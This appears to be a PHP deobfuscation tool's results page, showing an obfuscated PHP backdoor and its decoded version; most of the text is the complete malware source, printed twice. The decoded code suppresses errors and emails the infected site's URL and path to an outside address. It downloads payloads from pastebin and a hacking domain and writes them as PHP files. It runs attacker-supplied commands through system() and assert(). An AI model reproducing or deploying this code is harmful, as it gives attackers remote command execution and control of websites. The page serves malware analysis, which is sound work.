Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
${"\x47L\x4fB\x41L\x53"}["z\x6a\x75\x66li\x6c\x6bc\x72\x71"]="bk\x61v\x64\x6f\x6e\x65";${"..
Decoded Output download
<? ${"GLOBALS"}["zjuflilkcrq"]="bkavdone";${"GLOBALS"}["eepsmfb"]="cdx";${"GLOBALS"}["onsdnk"]="elf";${"GLOBALS"}["ntrhdd"]="file";${"GLOBALS"}["wkrmhjtgyunj"]="open";${"GLOBALS"}["ouqxspbh"]="sentmail";${"GLOBALS"}["sqoluiunkc"]="subject";${"GLOBALS"}["hemdpwhgyk"]="message";${"GLOBALS"}["enetgbc"]="header";${"GLOBALS"}["prslitqy"]="to";${"GLOBALS"}["ncgyynb"]="from_set";${"GLOBALS"}["vxboimvnen"]="filename";${"GLOBALS"}["rugszjy"]="string";${"GLOBALS"}["pbfgwfetk"]="os";error_reporting(0);ini_set("display_errors",0);${"GLOBALS"}["xclxiwjuvb"]="string";${${"GLOBALS"}["xclxiwjuvb"]}=__FILE__;$ndtiyxbdyhx="os";$yldsqmmyim="os";if(strtolower(substr(PHP_OS,0,3))=="win")${${"GLOBALS"}["pbfgwfetk"]}="win";else${$yldsqmmyim}="nix";if(${$ndtiyxbdyhx}=="win"){${"GLOBALS"}["krqkztple"]="string";$rybqylivva="filename";while((substr(${${"GLOBALS"}["rugszjy"]},-1)!="\"))${${"GLOBALS"}["rugszjy"]}=substr_replace(${${"GLOBALS"}["krqkztple"]},"",-1);${$rybqylivva}=${${"GLOBALS"}["rugszjy"]}."..\..\uploads\0.tmp";}else{${"GLOBALS"}["vdxqdwqlk"]="string";$hcnutmm="string";while((substr(${${"GLOBALS"}["rugszjy"]},-1)!="/"))${$hcnutmm}=substr_replace(${${"GLOBALS"}["rugszjy"]},"",-1);${${"GLOBALS"}["vxboimvnen"]}=${${"GLOBALS"}["vdxqdwqlk"]}."../../uploads/0.tmp";}if(file_exists(${${"GLOBALS"}["vxboimvnen"]})){}else{${"GLOBALS"}["okcxne"]="from_set";$jfferhcnvst="message";${"GLOBALS"}["mbcxyqqw"]="sentmail";${"GLOBALS"}["oweemvbqnkn"]="subject";${${"GLOBALS"}["ncgyynb"]}="eleven40@".$_SERVER["SERVER_NAME"];${${"GLOBALS"}["prslitqy"]}="[email protected]";${${"GLOBALS"}["oweemvbqnkn"]}="Accepted";${${"GLOBALS"}["enetgbc"]}="from: ".${${"GLOBALS"}["okcxne"]};${$jfferhcnvst}="Link : ".$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]."
";${${"GLOBALS"}["hemdpwhgyk"]}.="Path : ".__file__;${${"GLOBALS"}["mbcxyqqw"]}=@mail(${${"GLOBALS"}["prslitqy"]},${${"GLOBALS"}["sqoluiunkc"]},${${"GLOBALS"}["hemdpwhgyk"]},${${"GLOBALS"}["enetgbc"]});if(${${"GLOBALS"}["ouqxspbh"]}==true){${"GLOBALS"}["tnrdbovivc"]="filename";${${"GLOBALS"}["wkrmhjtgyunj"]}=fopen(${${"GLOBALS"}["tnrdbovivc"]},"w");}else{};}if(isset($_POST["oldmtsfeatures"])){$sweijxc="yes";$legslgpb="open";$grbicvev="open";$cnpiiucnu="yes";${${"GLOBALS"}["ntrhdd"]}=file_get_contents("http://pastebin.com/raw/EZqwi397");${$grbicvev}=fopen(getcwd()."/wp-mail-sample.php","w");${$sweijxc}=fwrite(${$legslgpb},"<?php $file ?>");if(${$cnpiiucnu}){echo"<br>done";}else echo"SomethingWentWrong";if(isset($_POST["elf"])){${${"GLOBALS"}["onsdnk"]}=$_POST["elf"];switch(${${"GLOBALS"}["onsdnk"]}){CASE 1:{${"GLOBALS"}["jvxklwgqjaj"]="file";$pvsbgyiv="yes";$nfxwwqsecfws="open";$dsoxpop="open";${${"GLOBALS"}["jvxklwgqjaj"]}=file_get_contents("http://files.hackingtruth.org/raw/0.txt");${$dsoxpop}=fopen(${${"GLOBALS"}["rugszjy"]}."themefile1.php","w");${$pvsbgyiv}=fwrite(${$nfxwwqsecfws},"<?php $file ?>");echo"1 executed";break;}CASE 2:{$iqglrczoqh="yes";$hxbsjbkw="open";${"GLOBALS"}["xoicdum"]="string";${${"GLOBALS"}["ntrhdd"]}=file_get_contents($_POST["addr"]);$vhyrjhvnvo="open";${$vhyrjhvnvo}=fopen(${${"GLOBALS"}["xoicdum"]}.$_POST["filewithext"],"w");${$iqglrczoqh}=fwrite(${$hxbsjbkw},"$file");echo"2 executed";break;}CASE 3:{${${"GLOBALS"}["eepsmfb"]}=$_POST["cdx"];${"GLOBALS"}["bsioturg"]="cdx";${${"GLOBALS"}["zjuflilkcrq"]}=strrev("metsys");${${"GLOBALS"}["zjuflilkcrq"]}(${${"GLOBALS"}["bsioturg"]});break;}CASE 4:{call_user_func_array("assert",array($_REQUEST["comnd"]));break;}}}}Did this file decode correctly?
Original Code
${"\x47L\x4fB\x41L\x53"}["z\x6a\x75\x66li\x6c\x6bc\x72\x71"]="bk\x61v\x64\x6f\x6e\x65";${"\x47L\x4f\x42A\x4cS"}["\x65e\x70\x73\x6d\x66\x62"]="\x63d\x78";${"\x47\x4cO\x42\x41\x4c\x53"}["on\x73d\x6e\x6b"]="\x65\x6c\x66";${"G\x4c\x4f\x42\x41L\x53"}["n\x74r\x68\x64\x64"]="\x66\x69\x6ce";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6b\x72\x6d\x68\x6a\x74g\x79\x75\x6ej"]="\x6f\x70en";${"\x47\x4cO\x42A\x4cS"}["\x6fu\x71\x78\x73\x70b\x68"]="\x73\x65n\x74\x6da\x69\x6c";${"\x47\x4c\x4fBA\x4c\x53"}["\x73\x71\x6f\x6cu\x69u\x6e\x6b\x63"]="s\x75b\x6ae\x63\x74";${"G\x4c\x4f\x42A\x4c\x53"}["h\x65md\x70\x77h\x67\x79k"]="me\x73\x73a\x67e";${"GLOB\x41\x4c\x53"}["\x65n\x65\x74g\x62\x63"]="h\x65ad\x65r";${"\x47L\x4f\x42\x41\x4c\x53"}["\x70r\x73l\x69\x74\x71\x79"]="\x74\x6f";${"\x47\x4cO\x42\x41LS"}["\x6ec\x67yyn\x62"]="f\x72o\x6d\x5f\x73\x65t";${"\x47LOB\x41\x4c\x53"}["vxb\x6f\x69mvn\x65\x6e"]="f\x69\x6c\x65\x6e\x61\x6d\x65";${"GL\x4f\x42\x41\x4c\x53"}["r\x75\x67\x73\x7a\x6a\x79"]="st\x72i\x6e\x67";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x70b\x66\x67\x77\x66\x65t\x6b"]="\x6fs";error_reporting(0);ini_set("\x64i\x73p\x6ca\x79_\x65\x72rors",0);${"\x47\x4cO\x42\x41LS"}["x\x63\x6cxi\x77\x6a\x75vb"]="str\x69n\x67";${${"\x47\x4c\x4fBA\x4cS"}["\x78clx\x69\x77ju\x76b"]}=__FILE__;$ndtiyxbdyhx="\x6f\x73";$yldsqmmyim="\x6f\x73";if(strtolower(substr(PHP_OS,0,3))=="w\x69n")${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x70\x62\x66g\x77\x66\x65\x74k"]}="win";else${$yldsqmmyim}="\x6eix";if(${$ndtiyxbdyhx}=="\x77\x69n"){${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6brqk\x7a\x74\x70\x6c\x65"]="\x73tri\x6e\x67";$rybqylivva="\x66il\x65\x6e\x61\x6d\x65";while((substr(${${"\x47LO\x42\x41\x4cS"}["r\x75gs\x7aj\x79"]},-1)!="\x5c"))${${"\x47\x4cOB\x41L\x53"}["\x72\x75\x67\x73\x7aj\x79"]}=substr_replace(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6br\x71kzt\x70l\x65"]},"",-1);${$rybqylivva}=${${"GL\x4f\x42\x41\x4c\x53"}["r\x75\x67\x73z\x6a\x79"]}."\x2e\x2e\x5c\x2e\x2e\\\x75ploa\x64s\\0.\x74mp";}else{${"\x47\x4cO\x42\x41L\x53"}["vd\x78q\x64w\x71\x6c\x6b"]="\x73\x74r\x69\x6e\x67";$hcnutmm="\x73t\x72\x69ng";while((substr(${${"\x47\x4cO\x42\x41L\x53"}["\x72\x75\x67sz\x6a\x79"]},-1)!="/"))${$hcnutmm}=substr_replace(${${"G\x4cO\x42\x41\x4c\x53"}["\x72\x75\x67\x73\x7aj\x79"]},"",-1);${${"\x47\x4cOBA\x4c\x53"}["\x76\x78\x62o\x69\x6dvne\x6e"]}=${${"G\x4cOBA\x4c\x53"}["\x76d\x78q\x64\x77q\x6c\x6b"]}.".\x2e/.\x2e/\x75\x70lo\x61\x64s/\x30\x2e\x74mp";}if(file_exists(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x76\x78\x62oi\x6d\x76nen"]})){}else{${"\x47\x4c\x4fB\x41L\x53"}["\x6fk\x63\x78n\x65"]="f\x72om\x5f\x73e\x74";$jfferhcnvst="\x6d\x65\x73\x73\x61\x67\x65";${"G\x4cOB\x41\x4cS"}["m\x62\x63\x78\x79\x71\x71w"]="sent\x6d\x61\x69\x6c";${"\x47L\x4fBA\x4cS"}["\x6f\x77\x65e\x6d\x76\x62\x71\x6e\x6b\x6e"]="s\x75bj\x65c\x74";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x63\x67yy\x6e\x62"]}="el\x65\x76e\x6e40\x40".$_SERVER["S\x45R\x56\x45\x52_\x4eAME"];${${"\x47\x4c\x4f\x42AL\x53"}["\x70\x72\x73\x6c\x69t\x71y"]}="\x74\x68em\x65s\x72\x761@c\x73twea\x6bs\x2e\x63om";${${"\x47LOB\x41\x4c\x53"}["\x6fw\x65\x65\x6d\x76\x62qn\x6b\x6e"]}="\x41\x63cep\x74\x65d";${${"GL\x4fB\x41\x4c\x53"}["\x65n\x65\x74\x67b\x63"]}="f\x72\x6fm: ".${${"\x47\x4c\x4f\x42A\x4cS"}["o\x6bcx\x6e\x65"]};${$jfferhcnvst}="\x4cin\x6b : ".$_SERVER["\x53\x45\x52\x56ER\x5f\x4eAME"].$_SERVER["R\x45\x51UE\x53\x54_\x55\x52\x49"]."\r\n";${${"\x47\x4c\x4f\x42AL\x53"}["h\x65m\x64\x70\x77h\x67yk"]}.="P\x61\x74\x68\x20: ".__file__;${${"\x47\x4c\x4f\x42\x41L\x53"}["m\x62\x63\x78y\x71q\x77"]}=@mail(${${"\x47\x4c\x4f\x42A\x4c\x53"}["prsl\x69t\x71y"]},${${"GLO\x42\x41\x4c\x53"}["\x73\x71o\x6c\x75\x69un\x6b\x63"]},${${"GL\x4f\x42\x41\x4c\x53"}["\x68\x65\x6d\x64p\x77\x68gyk"]},${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x65\x6e\x65\x74g\x62c"]});if(${${"\x47\x4cO\x42\x41L\x53"}["\x6f\x75\x71x\x73\x70b\x68"]}==true){${"\x47\x4c\x4f\x42ALS"}["\x74\x6e\x72dbo\x76\x69vc"]="\x66\x69le\x6e\x61\x6d\x65";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x6br\x6d\x68\x6a\x74gy\x75\x6e\x6a"]}=fopen(${${"\x47\x4c\x4fB\x41LS"}["t\x6er\x64\x62ov\x69v\x63"]},"w");}else{};}if(isset($_POST["oldmtsf\x65a\x74\x75\x72e\x73"])){$sweijxc="\x79e\x73";$legslgpb="o\x70\x65\x6e";$grbicvev="op\x65\x6e";$cnpiiucnu="\x79\x65\x73";${${"G\x4cO\x42\x41\x4c\x53"}["\x6e\x74\x72hdd"]}=file_get_contents("\x68ttp://p\x61s\x74\x65\x62in.c\x6f\x6d/\x72\x61\x77/\x45Zqw\x69\x339\x37");${$grbicvev}=fopen(getcwd()."/w\x70-\x6dail-\x73\x61mp\x6ce.ph\x70","\x77");${$sweijxc}=fwrite(${$legslgpb},"\x3c?php $file ?\x3e");if(${$cnpiiucnu}){echo"\x3cb\x72\x3ed\x6f\x6e\x65";}else echo"\x53\x6f\x6det\x68\x69\x6egW\x65\x6et\x57ro\x6eg";if(isset($_POST["elf"])){${${"\x47LO\x42A\x4c\x53"}["\x6f\x6e\x73\x64n\x6b"]}=$_POST["\x65\x6cf"];switch(${${"GL\x4f\x42A\x4cS"}["\x6f\x6e\x73\x64n\x6b"]}){CASE 1:{${"\x47LO\x42A\x4c\x53"}["\x6av\x78\x6b\x6c\x77g\x71ja\x6a"]="\x66\x69\x6ce";$pvsbgyiv="\x79\x65\x73";$nfxwwqsecfws="\x6fp\x65n";$dsoxpop="\x6f\x70en";${${"\x47\x4c\x4f\x42ALS"}["j\x76x\x6blw\x67q\x6a\x61j"]}=file_get_contents("\x68\x74\x74\x70://\x66\x69le\x73.hacki\x6eg\x74\x72uth\x2e\x6f\x72g/r\x61\x77/0.tx\x74");${$dsoxpop}=fopen(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["r\x75\x67\x73\x7a\x6a\x79"]}."\x74\x68e\x6d\x65\x66i\x6c\x65\x31\x2ephp","\x77");${$pvsbgyiv}=fwrite(${$nfxwwqsecfws},"\x3c?ph\x70 $file\x20?>");echo"\x31\x20e\x78ec\x75\x74e\x64";break;}CASE 2:{$iqglrczoqh="y\x65s";$hxbsjbkw="\x6fp\x65\x6e";${"\x47\x4cO\x42AL\x53"}["\x78\x6f\x69c\x64\x75m"]="st\x72i\x6e\x67";${${"\x47\x4cO\x42A\x4c\x53"}["n\x74\x72hd\x64"]}=file_get_contents($_POST["\x61ddr"]);$vhyrjhvnvo="\x6fpe\x6e";${$vhyrjhvnvo}=fopen(${${"\x47\x4cOB\x41\x4cS"}["xo\x69\x63du\x6d"]}.$_POST["\x66ile\x77\x69th\x65x\x74"],"w");${$iqglrczoqh}=fwrite(${$hxbsjbkw},"$file");echo"2\x20\x65x\x65\x63ut\x65\x64";break;}CASE 3:{${${"\x47LOBA\x4cS"}["\x65ep\x73m\x66\x62"]}=$_POST["cd\x78"];${"\x47L\x4f\x42A\x4c\x53"}["\x62si\x6f\x74\x75\x72\x67"]="cd\x78";${${"\x47\x4c\x4fB\x41\x4cS"}["\x7aj\x75f\x6c\x69\x6c\x6bc\x72q"]}=strrev("m\x65\x74\x73\x79s");${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x6a\x75\x66\x6c\x69\x6c\x6bc\x72\x71"]}(${${"G\x4cO\x42A\x4c\x53"}["\x62\x73\x69\x6ft\x75rg"]});break;}CASE 4:{call_user_func_array("\x61\x73sert",array($_REQUEST["\x63\x6f\x6dn\x64"]));break;}}}}Function Calls
| ini_set | 1 |
| error_reporting | 1 |
Stats
| MD5 | 05794fc16dab60bb53a48d20270c9f47 |
| Eval Count | 0 |
| Decode Time | 106 ms |